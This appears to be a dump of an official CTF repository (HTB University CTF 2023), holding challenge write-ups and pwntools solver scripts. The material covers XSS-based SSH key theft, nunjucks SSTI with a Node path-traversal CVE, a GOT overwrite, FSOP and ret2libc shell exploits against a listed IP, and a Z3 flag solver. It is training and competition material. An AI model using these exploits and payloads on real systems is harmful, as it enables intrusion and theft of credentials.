![img](assets/xss.png) 203 | 204 | And we got XSS in leaked the file path. Since we have XSS and it uses the file protocol, we can read files from the system. Let's read the ssh keys of the current user. 205 | 206 | Payload: `` 207 | 208 | ![img](assets/leaked.png) 209 | 210 | Let's ssh into the machine as rick user. 211 | 212 | 213 | 214 | ### Privilege Escalation 215 | 216 | After getting shell as `rick` user and checking for all the processes we can see a node application running as root 217 | 218 | ```bash 219 | root 846 0.0 0.0 2608 600 ? Ss 16:47 0:00 /bin/sh -c /bin/bash -c "/usr/bin/sleep 120 && cd /root/serviceManager/ && /usr/local/bin/node --experimental-permission --allow-fs-read='/root/serviceManager/' --allow-fs-write='/etc/systemd/system/' index.js" 220 | ``` 221 | 222 | checking for all open ports reveals port `8080` is open and it only accepts connection from localhost 223 | 224 | ```bash 225 | LISTEN 0 511 127.0.0.1:8080 0.0.0.0:* 226 | ``` 227 | 228 | Let's do port forwarding and access the webpage on our browser 229 | 230 | ![img](assets/ser.png) 231 | 232 | Visting the web page we can see its a service manager and there is a email settings which looks interesting 233 | 234 | ![img](assets/emailpreview.png) 235 | 236 | We can edit email template and we can see its using nunjucks expressions, let's try SSTI here. 237 | 238 | using this payload doesn't work for some reason 239 | 240 | `{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}` 241 | 242 | 243 | 244 | If we take a look at that cron command we can see its using node `--experimental-permission` model and it only only reading files from the application directory and only allow file write to one specific directory. 245 | 246 | 247 | 248 | The application is using `v20.5.0` node version which is not the latest one let's check nodejs channel log for `node v20.5.1` so we can see what has been fixed in the later release and we were able to find[ this CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32004) 249 | 250 | 251 | 252 | The description is pretty self explanatory. We can build the following payload 253 | 254 | ``` 255 | {{range.constructor("return global.process.mainModule.require('fs').readFileSync(Buffer.from('/root/serviceManager/mail/../../../../../../../etc/passwd'))")()}} 256 | ``` 257 | 258 | ![img](assets/leak.png) 259 | -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Androcat/official_writeup.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/official_writeup.pdf -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Apethanto/Apethanto.assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Apethanto/Apethanto.assets/banner.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Apethanto/Apethanto.assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Apethanto/Apethanto.assets/htb.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Apethanto/Apethanto.assets/metabase.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Apethanto/Apethanto.assets/metabase.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Apethanto/Apethanto.assets/web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Apethanto/Apethanto.assets/web.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Apethanto/Apethanto.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Apethanto/Apethanto.pdf -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/avatar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/avatar.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/banner.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold1.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold2.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold3.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold4.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold5.png -------------------------------------------------------------------------------- /uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold6.png -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Easy] Great Old Talisman/README.md: -------------------------------------------------------------------------------- 1 | ![](assets/banner.png) 2 | 3 | 4 | 5 | Great Old Talisman 6 | 7 | ​ 9th October 2023 / Document No. DYY.102.XX 8 | 9 | ​ Prepared By: w3th4nds 10 | 11 | ​ Challenge Author(s): w3th4nds 12 | 13 | ​ Difficulty: Easy 14 | 15 | ​ Classification: Official 16 | 17 | 18 | 19 | 20 | 21 | # Synopsis 22 | 23 | Great Old Talisman is an easy difficulty challenge that features overwriting `exit@GOT` with the address of the function that reads the flag. 24 | 25 | # Description 26 | 27 | Zombies are closing in from all directions, and our situation appears dire! Fortunately, we've come across this ancient and formidable Great Old Talisman, a source of hope and protection. However, it requires the infusion of a potent enchantment to unleash its true power. 28 | 29 | ## Skills Required 30 | 31 | - `RelRO`, `GOT table`. 32 | 33 | ## Skills Learned 34 | 35 | - Overwrite the address of a function in the `GOT table` with another address. 36 | 37 | # Enumeration 38 | 39 | First of all, we start with a `checksec`: 40 | 41 | ```console 42 | pwndbg> checksec 43 | RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY FortifiedFortifiable FILE 44 | Partial RELRO Canary found NX enabled No PIE No RPATH RW-RUNPATH 55) Symbols No 0 45 | ``` 46 | 47 | ### Protections 🛡️ 48 | 49 | As we can see: 50 | 51 | | Protection | Enabled | Usage | 52 | | :---: | :---: | :---: | 53 | | **Canary** | ✅ | Prevents **Buffer Overflows** | 54 | | **NX** | ✅ | Disables **code execution** on stack | 55 | | **PIE** | ❌ | Randomizes the **base address** of the binary | 56 | | **RelRO** | **Partial** | Makes some binary sections **read-only** | 57 | 58 | As we can see, there is no `PIE` and `RelRO` is `Partial` instead of `Full`. Also, the name **G**reat **O**ld **T**alisman, refers to `GOT`, hinting us that the challenge is most likely vulnerable to `GOT` overwrite. 59 | 60 | The program's interface 61 | 62 | ```console 63 | | 64 | | 65 | | 66 | | 67 | | 68 | ___|___ 69 | .d$$$******$$$$c. 70 | .d$P' '$$c 71 | $$$$$. .$$$*$. 72 | .$$ 4$L*$$. .$$Pd$ '$b 73 | $F *$. '$$e.e$$' 4$F ^$b 74 | d$ $$ z$$$e $$ '$. 75 | $P `$L$$P` `'$$d$' $$ 76 | $$ e$$F 4$$b. $$ 77 | $b .$$' $$ .$$ '4$b. $$ 78 | $$e$P' $b d$` '$$c$F 79 | '$P$$$$$$$$$$$$$$$$$$$$$$$$$$ 80 | '$c. 4$. $$ .$$ 81 | ^$$. $$ d$' d$P 82 | '$$c. `$b$F .d$P' 83 | `4$$$c.$$$..e$$P' 84 | `^^^^^^^`' 85 | 86 | This Great Old Talisman will protect you from the evil powers of zombies! 87 | 88 | Do you want to enchant it with a powerful spell? (1 -> Yes, 0 -> No) 89 | 90 | >> 1 91 | 92 | Spell: hackthebox 93 | ``` 94 | 95 | ### Disassembly 96 | 97 | Starting with `main()`: 98 | 99 | ```c 100 | void main(void) 101 | 102 | { 103 | long in_FS_OFFSET; 104 | int local_14; 105 | undefined8 local_10; 106 | 107 | local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); 108 | setup(); 109 | banner(); 110 | printf( 111 | "\nThis Great Old Talisman will protect you from the evil powers of zombies!\n\nDo you want to enchant it with a powerful spell? (1 -> Yes, 0 -> No)\n\n>> " 112 | ); 113 | __isoc99_scanf(&DAT_00402376,&local_14); 114 | printf("\nSpell: "); 115 | read(0,talis + (long)local_14 * 8,2); 116 | /* WARNING: Subroutine does not return */ 117 | exit(0x520); 118 | } 119 | ``` 120 | 121 | The challenge is pretty small and straightforward. There is a `scanf("%d", local_14);` that reads an integer and then a `read(0,talis + (long)local_14 * 8,2);` 122 | 123 | ### Debugging 124 | 125 | As we can see, there is no `return`, only `exit(0x520)`. Also, no overflow occurs anywhere, meaning the easiest way to proceed is by overwriting the address of `exit@GOT` with the address of `read_flag()`. 126 | 127 | ```c 128 | void read_flag(void) 129 | 130 | { 131 | ssize_t sVar1; 132 | long in_FS_OFFSET; 133 | char local_15; 134 | int local_14; 135 | long local_10; 136 | 137 | local_10 = *(long *)(in_FS_OFFSET + 0x28); 138 | local_14 = open("./flag.txt",0); 139 | if (local_14 < 0) { 140 | perror("\nError opening flag.txt, please contact an Administrator.\n"); 141 | /* WARNING: Subroutine does not return */ 142 | exit(1); 143 | } 144 | while( true ) { 145 | sVar1 = read(local_14,&local_15,1); 146 | if (sVar1 < 1) break; 147 | fputc((int)local_15,stdout); 148 | } 149 | close(local_14); 150 | if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { 151 | /* WARNING: Subroutine does not return */ 152 | __stack_chk_fail(); 153 | } 154 | return; 155 | } 156 | ``` 157 | 158 | This function is the goal as it prints the flag. The only thing we need to understand to proceed, is what the `talis` global variable is and where it's stored. It's obvious that whatever we insert in the `scanf`, will be stored in `local_14`. After that, it reads up to 2 bytes in the address `talis` + `local_14 * 8`. Checking the address of `exit@GOT` and `talis` we see this: 159 | 160 | ```console 161 | exit@GOT : 0x404080 162 | Talis addr: 0x4040a0 163 | ``` 164 | 165 | So, if we subtract the address of `exit@GOT` and `talis`, and divide them by `8`, we get the right offset to overwrite the `exit@GOT`. 166 | 167 | ```python 168 | off = -(talis - exit) // 8 169 | ``` 170 | 171 | `PIE` is disabled and all the functions are known, making it easy to proceed with our exploit. 172 | 173 | # Solution 174 | 175 | ```console 176 | Running solver remotely at 0.0.0.0 1337 177 | 178 | exit@GOT : 0x404080 179 | Talis addr: 0x4040a0 180 | 181 | Flag --> HTB{f4k3_fl4g_4_t35t1ng} 182 | ``` 183 | -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Easy] Great Old Talisman/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Easy] Great Old Talisman/assets/banner.png -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Easy] Great Old Talisman/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Easy] Great Old Talisman/assets/htb.png -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Easy] Great Old Talisman/htb/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.8 2 | from pwn import * 3 | import warnings 4 | import os 5 | warnings.filterwarnings('ignore') 6 | context.arch = 'amd64' 7 | context.log_level = 'critical' 8 | 9 | fname = './great_old_talisman' 10 | 11 | LOCAL = False 12 | 13 | os.system('clear') 14 | 15 | 16 | r = remote('94.237.59.206', 56087) 17 | 18 | e = ELF(fname) 19 | 20 | # Find addresses 21 | exit = e.got.exit 22 | talis = e.sym.talis 23 | print(f'exit@GOT : {exit:#04x}\nTalis addr: {talis:#04x}') 24 | 25 | # Calculate offset and GOT overwrite exit 26 | off = -(talis - exit) // 8 27 | r.sendlineafter('>> ', str(off)) 28 | r.sendlineafter(': ', p64(e.sym.read_flag)) 29 | 30 | # Get flag 31 | print(f'\nFlag --> {r.recvline_contains(b"HTB").strip().decode()}\n') -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Hard] Zombiedote/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/banner.png -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Hard] Zombiedote/assets/checksec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/checksec.png -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Hard] Zombiedote/assets/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/flag.png -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb1.png -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb2.png -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb3.png -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb4.png -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb5.png -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Hard] Zombiedote/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/htb.png -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Hard] Zombiedote/assets/interface.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/interface.png -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Hard] Zombiedote/assets/libc_version.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/libc_version.png -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Hard] Zombiedote/htb/Makefile: -------------------------------------------------------------------------------- 1 | compile: 2 | $(info [*] Run in Docker...) 3 | gcc -fPIE -Wl,-z,relro,-z,now -o zombiedote ../src/main.c 4 | -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Hard] Zombiedote/htb/fuzz.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | lst = [] 5 | 6 | def loop(ii): 7 | r = ELF('./chall',checksec=False).process() 8 | r.sendlineafter(b'unlock:', f'%{ii}$p'.encode()) 9 | r.recvuntil(b'Trying code ') 10 | lst.append(f'{ii:03d} : {r.recvline().split(b".")[0]}') 11 | r.close() 12 | 13 | if __name__ == '__main__': 14 | for i in range(1, 100): 15 | loop(i) 16 | print('\n'.join(lst)) 17 | -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Hard] Zombiedote/htb/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | NAME="zombiedote" 3 | PATCHED_NAME=$NAME"_patched" 4 | 5 | echo "[*] Re-linking..." 6 | pwninit --no-template --bin $NAME --libc glibc/libc.so.6 --ld glibc/ld-2.34.so 7 | rm $NAME && mv $PATCHED_NAME $NAME 8 | 9 | echo "[*] Setting up challenge/ ..." 10 | cp $NAME ../challenge/ 11 | cp -r glibc/ ../challenge/ 12 | 13 | echo "[*] Setting up release/ ..." 14 | mkdir -p challenge/ 15 | cp $NAME challenge/ 16 | cp -r glibc/ challenge/ 17 | zip -r "$NAME.zip" challenge/ build-docker.sh Dockerfile 18 | mv "$NAME.zip" ../release/ 19 | -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Hard] Zombiedote/htb/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import struct 3 | from pwn import * 4 | #context.terminal = ['tmux', 'splitw'] # horizontal split 5 | #context.terminal = ['tmux', 'splitw', '-h'] # vertical split 6 | context.terminal = ['gnome-terminal', '-e'] # new terminal 7 | 8 | DEBUG = os.getenv('DEBUG', '0') == '1' 9 | REMOTE = os.getenv('REMOTE', '0') == '1' 10 | 11 | r = remote('94.237.59.206', 48167) 12 | # REMOTE=1 && python solver.py 13 | 14 | def genlist(d, _max=None): 15 | m = max(d.keys()) if _max is None else _max 16 | lst = [] 17 | for idx in range(0, m+1, 8): 18 | if idx in d.keys(): 19 | if isinstance(d[idx], int): lst.append(d[idx]) 20 | elif isinstance(d[idx], bytes): lst.append(u64(d[idx].ljust(8, b'\x00'))) 21 | else: raise Exception(f'[!] Unsupported type by genlist(): {type(d[idx])}') 22 | else: 23 | lst.append(0) 24 | return lst 25 | 26 | # there has to be a better way 27 | def val2double(x): 28 | return str(struct.unpack("d", p64(x))[0]).encode() 29 | 30 | def double2val(x): 31 | return struct.unpack('> ', b'1') 47 | r.sendlineafter(b': ', str(0x1000000//8).encode()) 48 | 49 | # Inspect - GLibc leak 50 | if REMOTE: off = 0x1003ff0 # docker offset (chunk to libc base when mmaped) 51 | else: off = 0x1000ff0 # local offset 52 | leak_target = off + libc.sym._IO_2_1_stdout_ + 0x8 53 | assert off%8 == 0, "Cannot div off by 8" 54 | r.sendlineafter(b'>> ', b'5') 55 | r.sendlineafter(b'inspect: ', str(leak_target//8).encode()) 56 | r.recvuntil(b'): ') 57 | libc.address = double2val(float(r.recvline())) - 0x2197e3 58 | 59 | __GI__IO_file_jumps = libc.sym.__GI__IO_file_jumps 60 | _IO_list_all = libc.sym._IO_list_all 61 | system = libc.sym.system 62 | print('\nGlibc Addresses Calculated:\n' 63 | f' libc @ {hex(libc.address)}\n' 64 | f'__GI__IO_file_jumps @ {hex(__GI__IO_file_jumps)}\n' 65 | f' _IO_list_all @ {hex(_IO_list_all)}\n' 66 | f' __libc_system @ {hex(system)}\n') 67 | 68 | chunk_addr = libc.address - off 69 | print(f'heap chunk @ {hex(chunk_addr)}') 70 | 71 | # not all fields need to be filled - README for offsets 72 | # populating (_flags), _IO_write_base, _IO_write_ptr, and *vtable* 73 | # "/bin/sh\x00" @ chunk addr 74 | fakeFILE = { 75 | 0x00: b'/bin/sh\x00', 76 | 0x20: 0x01, # _IO_write_base -> must set ptr > base 77 | 0x28: 0x02, # _IO_write_ptr 78 | 0xc4+20: __GI__IO_file_jumps # FILE vtable 79 | } 80 | fakeFILE = list(map(val2double, genlist(fakeFILE))) 81 | 82 | # Insert - Place fake FILE on chunk 83 | r.sendlineafter(b'>> ', b'2') 84 | r.sendlineafter(b': ', str(len(fakeFILE)).encode()) 85 | for val in fakeFILE: r.sendlineafter(b'): ', val) 86 | 87 | # __GI__IO_file_jumps' __overflow() ptr overwrite 88 | # __GI__IO_file_jumps+0x18 -> system 89 | # _IO_list_all -> chunk w/ fake FILE 90 | writes = [(__GI__IO_file_jumps+0x18, system), 91 | (_IO_list_all, chunk_addr)] 92 | 93 | # Offsets relative to chunk addr 94 | writes = [(key-chunk_addr, val) for key, val in writes] 95 | assert all([w[0]%8 == 0 for w in writes]), "Cannot div write by 8" 96 | 97 | # Edit twice - GLibc overwrites 98 | for w in writes: 99 | r.sendlineafter(b'>> ', b'4') 100 | r.sendlineafter(b': ', str(w[0]//8).encode()) # addr 101 | r.sendlineafter(b'): ', val2double(w[1])) # overwrite value 102 | 103 | # delete to exit and trigger exploit 104 | # system("/bin/sh") call 105 | r.sendlineafter(b'>> ', b'3') 106 | r.recv() # cleanup 107 | print('** SHELL **') 108 | r.interactive() 109 | 110 | if __name__ == '__main__': 111 | exploit() 112 | -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Medium] Zombienator/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Medium] Zombienator/assets/banner.png -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Medium] Zombienator/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Medium] Zombienator/assets/htb.png -------------------------------------------------------------------------------- /uni-ctf-2023/pwn/[Medium] Zombienator/htb/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from pwn import * 3 | from tqdm import tqdm 4 | import warnings 5 | import os 6 | warnings.filterwarnings('ignore') 7 | context.arch = 'amd64' 8 | context.log_level = 'critical' 9 | 10 | fname = './zombienator' 11 | 12 | # fclose cannot be bypassed locally 13 | LOCAL = False 14 | 15 | r = remote('94.237.59.206', 46051) 16 | 17 | e = ELF(fname) 18 | libc = ELF(e.runpath.decode() + 'libc.so.6') 19 | 20 | rl = lambda : r.recvline() 21 | sl = lambda x : r.sendline(x) 22 | ru = lambda x : r.recvuntil(x) 23 | sla = lambda x,y : r.sendlineafter(x,y) 24 | 25 | r.timeout = 0.3 26 | 27 | def create(tier, pos): 28 | #sleep(0.1) 29 | sla('>> ', '1') 30 | sla('tier: ', str(tier)) 31 | sla('5-9): ', str(pos)) 32 | 33 | def remove(pos): 34 | #sleep(0.1) 35 | sla('>> ', '2') 36 | sla('position: ', str(pos)) 37 | 38 | # To send payload in double format 39 | def fmt(payload): 40 | sla(': ', repr(struct.unpack("d", p64(payload))[0])) 41 | 42 | # Make 9 allocations 43 | print('[+] Creating Zombienators..\n') 44 | [create(128, i) for i in tqdm (range(9))] 45 | print('\n[*] Done!\n') 46 | 47 | # Free 8 items 48 | print('[-] Deleting Zombienators..\n') 49 | [remove(i) for i in tqdm (range(8))] 50 | print('\n[*] Done!\n') 51 | 52 | # Leak libc address 53 | sla('>> ', '3') 54 | ru('Slot [7]: ') 55 | libc.address = int(u64(rl().strip().ljust(8, b'\x00'))) - 0x219ce0 56 | print(f'Libc base: {libc.address:#04x}') 57 | if libc.address & 0xfff != 000: 58 | print('\nLibc does not end in 000\n') 59 | r.close() 60 | exit() 61 | rop = ROP(libc, base=libc.address) 62 | 63 | # Perform ret2libc abusing the scanf("%ld") 64 | loops = 38 65 | sla('>> ', '4') 66 | sla('attacks: ', str(loops)) 67 | 68 | # Fill the buffer and bypass canary 69 | [sla(': ', '-') for i in range(loops-5)] 70 | sla(': ', '-') 71 | 72 | ''' 73 | Use og with these conditions met. 74 | The only condition that is not met is rbp == NULL, 75 | so we find a pop rbp ; ret gadget from libc 76 | 77 | 0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ) 78 | constraints: 79 | rsp & 0xf == 0 80 | rcx == NULL 81 | rbp == NULL || (u16)[rbp] == NULL 82 | ''' 83 | 84 | # pop rbp ; ret 0x2a2e0 85 | fmt(rop.find_gadget(['ret'])[0]) 86 | fmt(libc.address + 0x2a2e0) 87 | fmt(0) 88 | fmt(libc.address + 0x50a47) 89 | 90 | # Bypass stderr and stdout to get flag 91 | pause(1) 92 | sl('cat flag*>&0') 93 | r.interactive() 94 | 95 | -------------------------------------------------------------------------------- /uni-ctf-2023/rev/[Easy] WindowOfOpportunity/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | WindowOfOpportunity 4 | 5 | 5th 12 23 / Document No. D23.102.XX 6 | 7 | Prepared By: clubby789 8 | 9 | Challenge Author: clubby789 10 | 11 | Difficulty: Easy 12 | 13 | Classification: Official 14 | 15 | 16 | 17 | 18 | 19 | 20 | # Synopsis 21 | 22 | WindowOfOpportunity is an Easy reversing challenge. Players will reverse a flag checking algorithm and write a brute-force or Z3 solver. 23 | 24 | ## Skills Required 25 | - Decompiler usage 26 | ## Skills Learned 27 | - Z3py usage 28 | 29 | # Solution 30 | 31 | If we run the binary, we're prompted for a password. Entering a random string gives us an error and the binary exits. 32 | 33 | ## Analysis 34 | 35 | ```c 36 | int32_t main() 37 | puts(str: "A voice comes from the window... 'Password?'") 38 | char buf[0x2a] 39 | fgets(buf: &buf, n: 0x2a, fp: stdin) 40 | int32_t i = 0 41 | int32_t ret 42 | while (true) { 43 | if (i u> 0x24) { 44 | puts(str: "The window opens to allow you passage...") 45 | ret = 0 46 | break 47 | } 48 | if (buf[sx.q(i + 1)] + buf[sx.q(i)] != arr[sx.q(i)]) { 49 | puts(str: "The window slams shut...") 50 | ret = -1 51 | break 52 | } 53 | i = i + 1 54 | } 55 | return ret 56 | ``` 57 | 58 | After receiving the password, we loop from 0 to 0x24. For each value, we add together the `i`th and `i+1`th characters of the input, comparing it to a constant byte array value in `arr`. 59 | 60 | The binary is creating a sliding window of size 2 over the input, and summing the values to compare against a constant. To solve this, we can either bruteforce byte-by-byte, or use a symbolic solution with Z3 py. 61 | 62 | First we'll need to extract the bytes from the `arr` array into our script: 63 | 64 | ```py 65 | sums = [ ... ] 66 | ``` 67 | 68 | We'll then prepare our Z3 solver and input 69 | ```py 70 | from z3 import * 71 | s = Solver() 72 | # Create symbolic input 8-bit values to represent the password 73 | inp = [BitVec(f"flag_{i}", 8) for i in range(len(sums) + 1)] 74 | ``` 75 | 76 | We now need to add some constraints - we know from the flag format the password will begin `HTB{`. 77 | ```py 78 | for i, c in enumerate(b"HTB{"): 79 | s.add(inp[i] == c) 80 | ``` 81 | 82 | We now just need to implement the sliding window, and constrain our solver using it. 83 | ```py 84 | for i in range(len(sums)): 85 | s.add(inp[i] + inp[i+1] == sums[i]) 86 | ``` 87 | 88 | We're now ready to evaluate our model, convert each symbolic value to a byte and print out the flag. 89 | 90 | ```py 91 | print(s.check()) 92 | m = s.model() 93 | bs = [m.eval(i).as_long() for i in inp] 94 | print(bytes(bs)) 95 | ``` -------------------------------------------------------------------------------- /uni-ctf-2023/rev/[Easy] WindowOfOpportunity/htb/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from z3 import * 4 | 5 | s = Solver() 6 | sums = [0x9c,0x96,0xbd,0xaf,0x93,0xc3,0x94,0x60,0xa2,0xd1,0xc2,0xcf,0x9c,0xa3,0xa6,0x68,0x94,0xc1,0xd7,0xac,0x96,0x93,0x93,0xd6,0xa8,0x9f,0xd2,0x94,0xa7,0xd6,0x8f,0xa0,0xa3,0xa1,0xa3,0x56,0x9e] 7 | inp = [BitVec(f"flag_{i}", 8) for i in range(len(sums)+1)] 8 | for i, c in enumerate(b"HTB{"): 9 | s.add(inp[i] == c) 10 | 11 | for i in range(len(sums)): 12 | s.add(inp[i] + inp[i+1] == sums[i]) 13 | print(s.check()) 14 | m = s.model() 15 | bs = [m.eval(i).as_long() for i in inp] 16 | print(bytes(bs)) 17 | -------------------------------------------------------------------------------- /uni-ctf-2023/rev/[Hard] 